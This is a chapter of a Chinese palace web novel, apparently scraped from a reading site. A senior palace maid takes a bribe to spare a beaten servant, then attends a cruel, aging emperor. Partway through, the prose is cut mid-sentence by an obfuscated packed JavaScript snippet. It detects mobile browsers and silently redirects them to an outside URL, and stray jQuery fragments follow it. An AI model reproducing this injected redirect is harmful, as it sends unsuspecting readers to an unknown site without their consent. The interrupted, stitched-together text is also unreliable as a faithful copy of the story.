默认冷灰
24号文字
方正启体

1. 唇亡齿寒

作者:春瑟本书字数:K更新时间:
    早春二月,春寒料峭。


    新雪如飘絮,洋洋洒洒落了满皇城,宫宇楼阁间梅林绽放极研,红花白雪,映着墨黑苍穹,也令庄严肃穆的皇城多了丝娇媚。


    但旖旎的景致引不来目光,匆匆脚步声在雪夜里格外刺耳。


    寅时宫门一开,赵长宁就被人请了进来。


    “姑姑,您可算回来了,皇上突然生气,云佩要被打死了……”


    “也不知怎的惹了皇上不快。”


    “她活该,我们几次提醒,她非不听,那次还想绕过姑姑抢功,终于是撞上了……”


    “谁不知道皇上信任姑姑,平日就喜欢姑姑伺候,别人伺候都不合意……”


    “就是,连累姑姑这会子过来,说不定还要连累我们,真是的,冷死了……”


    话题一下子就变了方向,大家因为害怕连累,开始说起了云佩的种种不是。


    宫灯在游廊内如鬼火般飘动,伴着窃窃私语,一时不知这是阴曹地府还是热闹人间。


    赵长宁听着耳边一声又一声地闲言碎语,抿着唇半晌无话,拢了拢氅衣,走路的步子渐渐慢了下来。


    那个云佩性子跳脱,总想占便宜,日常偷奸耍滑,出事是迟早的,若不是念在送到御前的,都是和她当年一样无钱无势的可怜孩子,她早就想赶走了。


    御前伺候看着风光,但绝不是好差事,至少在永安帝面前不是,送云佩来的人,也不是什么好心思。


    赵长宁八岁入宫,十二岁开始在御前伺候,至今已有八年。


    在她之前,御前女官几乎十天半月就要换一波,最短的甚至就一天,所有人都知道,这不是个好差事,但她撑下来了。


    直到现在,她也还活得好好的。


    赵长宁收束思绪,思忖了几瞬,便朝通禀的几个宫女太监道:“莫要再说了,个人有个人的运道,你们也引以为戒,以后都给我紧着点皮,知道吗?”


    见面前的几个太监宫女陡然安静下来,露出犹疑与惊惧之色,赵长宁也不奇怪,只将腕子上的牡丹纹金镯子撸下来,掂量着不轻,便丢了过去。


    “你们辛苦了一遭,这东西拿去,都去吃点好的,弄壶好酒驱驱寒。”


    给一棒子再赏个甜枣,是她进宫后学的最快的事儿,人心容易收拢,但也容易寒凉。


    人一窝蜂的就都走了,个个喜笑颜开的,仿佛抛弃的不是一个人,而是一个物件。


    只有一个小太监留下来,扑通就跪在她面前,也不敢嚎叫,只一个劲儿的磕头。


    寒冷的雪夜里,除了呼呼的寒风,还能听到他吸鼻子哽咽的声音。


    赵长宁怔怔地看着他,双手拢进袖口,沉声道:“你要干什么?”


    在这命如草芥的地方,很久没看到还会顾惜旁人的人了,这难免让她有了一丝丝活人的感觉。


    她又多问了一句,“你想为云佩求情?”


    方才那些人都走了,没一个人开口。


    想想年老多病、敏感多疑、日益暴戾的老皇帝,也不奇怪,大家心里都清楚,云佩活不了,只不过作为一个人,还尚存一丝良知,感到唇亡齿寒罢了。


    “是,求姑姑救救云佩……”


    跪下的太监叫云生,和云佩差不多时间来的。


    御前伺候的规矩,和从前已经很大不同,人和事儿也改了不少,毕竟还没有一个皇帝能活过永安帝。


    皇帝年纪大了,便是偶有出格之举,御史们也会睁一只眼闭一只眼,只不过是改改生活环境,无伤大雅。


    赵长宁如今地位,便是第一批受益的人,准确来说,是生生熬成了第一个受益人。


    “凭什么?”


    她也想活久一点,一个云佩,不配她开口。


    云生的头磕出了血。


    他满脸涕泗横流,眼眶里的眼泪仿佛一颗颗星子般涌出,在荧红烛火下,格外晶莹夺目。


    “姑姑,求您救救云佩,她那人就是嘴巴坏了些,进宫后又受了太多欺辱,性子有些左,其实心地是好的,当年……”


    赵长宁又听了一个凄凄惨惨的故事,千篇一律,如同过往那些人一样,大家都有一个可怜的身世,悲惨的过往,没有指望的将来。


    唯有一处不同。


    “你和云佩有过亲事?”


    云生抽噎着点头应是,目光澄澈,“只不过这事儿没人知道,云佩也不想别人知道,姑姑,您……”


    难怪,原是有情。


    “放心吧,我没有跟你们闲聊的习惯。”赵长宁看他局促,便挥手,还是拒绝,“行了,别说了,云佩心思不定,平日又不修人缘,我救不了。”


    云生扑过去抓住姑姑的衣摆,哭求道:“姑姑,我求求您,只要您答应,我什么都愿意干……”


    他像是才想起来,连忙跪直了身体,慌乱地朝心口掏,衣襟都被弄乱了。


    “我有钱,姑姑,我有钱,全都给您,姑姑,求您了……”


    赵长宁望着已经不入眼的首饰跟金锞子银瓜子等东西,大概是云生的全部了,宫里混的人,总能得些赏赐。


    “云佩想爬龙床不是一天两天了,你不会不知道吧?”她顿了顿,淡淡道:“值得吗?”


    云生哀戚落泪,毫不犹豫道:“值得,好歹活下来了,反正,她也爬不上去。”


    赵长宁摇摇头,“你觉得值得,但于我而言,还不如我方才丢出去的金手镯。”


    实在不值得她冒险。


    云生见她要走,吓得又抱住了腿,整个人趴在了地上,“姑姑,我还有,还有……”


    他又掏出了一根式样还算不错的银簪子,上头是一朵小小的桐花,栩栩如生,小心翼翼的模样,就像捧着什么了不得的宝物。


    “姑姑,这根簪子,是我最后的东西了。”云生依依不舍地双手奉上,口中快速解释道:“这是我娘留给我的最后一样东西……云佩说等我们将来好过了,她就戴着这根簪子,和我成亲……”


    语调越来越无力,几乎要消散在寒风雪夜里。


    赵长宁却停了下来,眼神控制不住地看着这根桐花簪子。


    其实故事庸俗得很,丝毫不能打动她,但这两人之间的羁绊和现实,又有一种说不清道不明的意味,让她抬不动脚。


    这根簪子在当初的云佩眼里很贵重,但在现在的云佩眼里,不过是一根不值钱的玩意,可能她压根不记得。


    她忍不住又问了一遍,“值得吗?”


    云生听见姑姑叹了口气,他不是笨蛋,这明显松动的语气,姑姑肯定也很为他跟云佩可惜吧?


    他膝行两步,哭诉道:“值得,姑姑,值得,云佩是一时糊涂,她将来会明白的……”


    赵长宁闻言勾唇玩味一笑,嘴角眉梢俱是讥讽。


    她觉得,云佩永远也明白不了。


    “起来吧。”她只接过桐花银簪子,将剩下的那些东西还给了云生,又解下腰间皇帝赏赐的玉佩,递到他手中。


    “快步跑过去,跟行刑的太监说,打狠点。”


    云生一愣,随即又反应过来,连声道谢,“谢谢姑姑,谢谢姑姑……”


    宫里打人也是有门道的,每一板子打下去都有讲究,有的看不出外伤但内里都烂了,有的雷声大雨点小,最后就只是皮外伤。


    他兴冲冲地跑了出去,嘴里喃喃道:“云佩,你有救了……”


    赵长宁看着云生匆匆跑出仪门,不禁想到,她在这苦苦撑了八年之久,若有一日也落入


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810665|175220||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这样的境地,可有一人会为她跪下求一求?


    大概,是没有的。


    她理了理兜帽,才朝游廊深处走去。


    这会儿天还黑着,宫门寅时开启,龙子龙孙们要进来念书,就意味着皇帝也差不多要起身了,永安帝年轻时是个勤勉的君王,如今人老觉少,常常寅时前就醒了。


    人老了,身上不舒服,吃喝拉撒都不痛快,脾性就变得越发怪异,这就是御前伺候最容易丢命的原因。


    巍峨宫殿里游廊深长,廊檐下的灯笼有些亮着,有些已经熄灭,洒扫的太监宫女都忙着,大家都安安静静地,不敢发出一丝声响。


    看到赵长宁走过,太监宫女们都朝她低头,恭谨而谦卑。


    赵长宁看着,总能想起从前自己也是这其中的一个,那时候的日子,简直不是人过的,管着她的嬷嬷和公公,一个比一个凶神恶煞。


    等终于轮到她管了,才明白其中的道理。


    她和前人一样,面如阎罗,一旁拿着扫把的洒扫太监挡路,她抬脚就踹,旋即冷冷道:“都紧着点皮,今儿谁要是出了错,可别怪我心狠。”


    所有人都慌忙跪下磕头,大气都不敢喘,那个被踹的太监,脸扑进雪地里,也不敢乱动丝毫。


    赵长宁见众人听话,缓缓舒了口气,看着呼出的白烟消散在夜空中,提了提神,抬脚进了勤政殿最后一重仪门。


    一排排石灯将一重重幽暗的青石板路照亮,这里,就是她这八年来的一切,一砖一石都刻进了骨子里,连墙角的草荣枯都历历在目。


    厚厚的毡帘已经被掀开,殿里的暖意将扑进去的冷气激出了形状与颜色,黯淡的黄光在里面摇晃,犹如吃人的巨兽张开血盆大嘴。


    赵长宁解下氅衣,一旁的小宫女连忙接过。


    小宫女一脸惧意地小声道:“姑姑,您当心点。”


    赵长宁没有说话,面色平静的进了内室,抿着唇将手在温水里浸泡,直到骨血都暖和起来,才用绵软的巾子擦干。


    她深吸一口气,觉得有些反胃,屋中常年燃着龙涎香,直到现在,她也没闻习惯。


    穿过重重厚重帷幔,又经过一段狭窄的甬道,终于是到了皇帝的居所。


    一个四面见方不大的屋子,靠里是张名贵的紫檀千工拔步床,挂着明黄的金绣软帐,上面绣着五爪金龙,旁边是一个矮脚紫檀小柜子,上面摆着精致的螭兽博山炉,还有一杯温茶,靠墙是个高脚条桌,没有烛火,全靠外间的一点烛光才能视物。


    很小,很暗,很简朴,但却是入睡的最佳地方,找最厉害的风水师定下的。


    在第一次进入皇帝居所时,她也惊讶过,后来才知道屋大人少切莫住的道理。


    帐子已经撩起,皇帝的身影在明黄被褥下,一点点起伏,看着似乎没有动静。


    赵长宁知道老皇帝脾性反复无常,不由屏息凝神,打起十二分精神,轻声唤了一句。


    “皇上,奴婢进来了。”


    她等了两息,才轻悄悄的朝床榻走去,把手放进自己脖子里探,发觉还是温热的后,便跪在脚踏上,把手伸进了明黄的衾被。


    一股子老人味直冲鼻尖,虽然这是至高无上的皇帝,但时间会无视地位、富贵,该老还是会老。


    手触到松软粗糙的老人肌肤,赵长宁将自己想作木头,当自己已经死了。


    还没动呢,猛地眼前黄光一晃,被子掀开,一股难闻的气味扑鼻而来——


    还不待有反应,随即“啪”地一巴掌,响亮无比。


    赵长宁脸上痛极,但眉眼不皱,眼神都不抬,迅速无比的跪在了地上,额头触到光凉的地板。


    “奴婢该死,奴婢愚笨,伺候不力,皇上您千万保重龙体。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)